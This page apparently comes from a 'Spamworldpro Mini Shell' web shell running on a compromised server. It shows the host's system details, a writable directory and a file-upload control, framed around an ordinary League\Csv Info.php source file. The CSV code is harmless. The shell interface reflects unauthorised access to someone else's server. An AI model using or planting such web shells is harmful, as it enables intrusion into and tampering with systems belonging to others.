Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/ts.corals.io/corals-api/vendor/league/csv/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/ts.corals.io/corals-api/vendor/league/csv/src/Info.php
<?php

/**
 * League.Csv (https://csv.thephpleague.com)
 *
 * (c) Ignace Nyamagana Butera <[email protected]>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

declare(strict_types=1);

namespace League\Csv;

use function array_fill_keys;
use function array_filter;
use function array_reduce;
use function array_unique;
use function count;
use function iterator_to_array;
use function strlen;
use function strpos;
use const COUNT_RECURSIVE;

final class Info implements ByteSequence
{
    private const BOM_SEQUENCE_LIST = [
        self::BOM_UTF32_BE,
        self::BOM_UTF32_LE,
        self::BOM_UTF16_BE,
        self::BOM_UTF16_LE,
        self::BOM_UTF8,
    ];

    /**
     * Returns the BOM sequence found at the start of the string.
     *
     * If no valid BOM sequence is found an empty string is returned
     */
    public static function fetchBOMSequence(string $str): ?string
    {
        foreach (self::BOM_SEQUENCE_LIST as $sequence) {
            if (0 === strpos($str, $sequence)) {
                return $sequence;
            }
        }

        return null;
    }

    /**
     * Detect Delimiters usage in a {@link Reader} object.
     *
     * Returns a associative array where each key represents
     * a submitted delimiter and each value the number CSV fields found
     * when processing at most $limit CSV records with the given delimiter
     *
     * @param string[] $delimiters
     *
     * @return array<string, int>
     */
    public static function getDelimiterStats(Reader $csv, array $delimiters, int $limit = 1): array
    {
        $delimiterFilter = static fn (string $value): bool => 1 === strlen($value);

        $recordFilter = static fn (array $record): bool => 1 < count($record);

        $stmt = Statement::create()->offset(0)->limit($limit);

        $delimiterStats = static function (array $stats, string $delimiter) use ($csv, $stmt, $recordFilter): array {
            $csv->setDelimiter($delimiter);
            $foundRecords = array_filter(
                iterator_to_array($stmt->process($csv)->getRecords(), false),
                $recordFilter
            );

            $stats[$delimiter] = count($foundRecords, COUNT_RECURSIVE);

            return $stats;
        };

        $currentDelimiter = $csv->getDelimiter();
        $currentHeaderOffset = $csv->getHeaderOffset();

        $csv->setHeaderOffset(null);

        $stats = array_reduce(
            array_unique(array_filter($delimiters, $delimiterFilter)),
            $delimiterStats,
            array_fill_keys($delimiters, 0)
        );

        $csv->setHeaderOffset($currentHeaderOffset);
        $csv->setDelimiter($currentDelimiter);

        return $stats;
    }
}

Spamworldpro Mini